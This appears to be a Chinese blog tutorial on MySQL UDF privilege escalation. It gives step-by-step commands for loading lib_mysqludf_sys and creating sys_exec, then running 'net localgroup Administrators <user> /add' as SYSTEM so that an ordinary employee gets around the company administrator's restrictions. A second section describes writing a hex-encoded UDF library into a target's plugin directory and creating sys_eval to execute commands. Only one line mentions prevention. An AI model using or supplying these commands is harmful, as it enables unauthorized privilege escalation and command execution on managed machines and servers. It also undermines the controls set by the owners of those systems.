首页  编辑  

MySQL sys_exec 远程执行系统命令,提权

Tags: /MySQL/   Date Created:
MySQL 系统提权

公司发的电脑,只有普通用户权限,无法安装软件,又不想时刻麻烦管理员怎么办?可以利用MySQL Server提权,当然前提是你的电脑上安装了 MySQL Server,并且不在默认安装位置,例如安装在D:\,E:\盘等非标准目录,不然你无法修改 my.cnf 文件!

原理是MySQL Server 服务进程是以SYSTEM账户运行的,导致派生的子进程也具有SYSTEM账户权限。
  1. 下载 udf DLL,放到 <mysql安装目录下>\lib\plugin 目录下:
    1. Linux下:mysqludf/lib_mysqludf_sys: A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs. (github.com)
    2. Windows下:yanghaoi/lib_mysqludf_sys: a 'pentest' udf plugin of MySQL. (github.com) 点这里直接下载 Release.zip
  2. 修改 my.cnf/my.ini,在 [mysqld] 部分,增加 plugin_load_add = lib_mysqludf_sys_x64
  3. 重启 mysql
  4. 用mysql客户端连接,并运行 create function sys_exec returns string soname "lib_mysqludf_sys_x64.dll";  
  5. 此后就可以使用sys_exec 函数了,例如: SELECT sys_exec('notepad.exe', "any")
提权:
  1. create function sys_exec returns string soname "lib_mysqludf_sys_x64.dll";  
  2. SELECT sys_exec('net localgroup "Administrators" "你的用户名" /add'"1");
  3. drop function sys_exec;

需要管理员权限的时候,就用HeidiSQL等客户端工具,运行上述命令,然后重新注销登录,就有管理员权限了,想安装就安装!做完后重启后权限又恢复默认了,非常完美。
预防方法:单独建立运行MySQL Server的账户,并以该账户运行mysqld进程即可。当然最好就是不要使用这个插件。

mysql UDF提权

简介
在mysql 中可以使用自定义函数进行提权,udf(user defined function)用户自定义函数,对于自定义的函数,在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀是dll,c语言编写。(sys_eval())利用条件:

1.MySQL数据库没有开启安全模式。文章来源地址:https://www.yii666.com/blog/325670.html

2.已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限。

3. 有写入到数据库安装目录的权限。

复现
第一步:使用语句查询plugin插件目录

第二步:将编译好的函数文件放到目标的plugin插件目录里面,这里我采用16进制写进去。地址:https://www.yii666.com/blog/325670.html

select 0x7f454c···· into dumpfile ‘/www/server/mysql/lib/plugin/woaini.so’

第三步:生成函数

create function sys_eval returns string soname ‘woaini.so’;

第四步:利用mysql去使用自定义函数,来完成命令执行

第五步:结果是16进制的,所以可以解密出来。


Release.zip (374.0KB)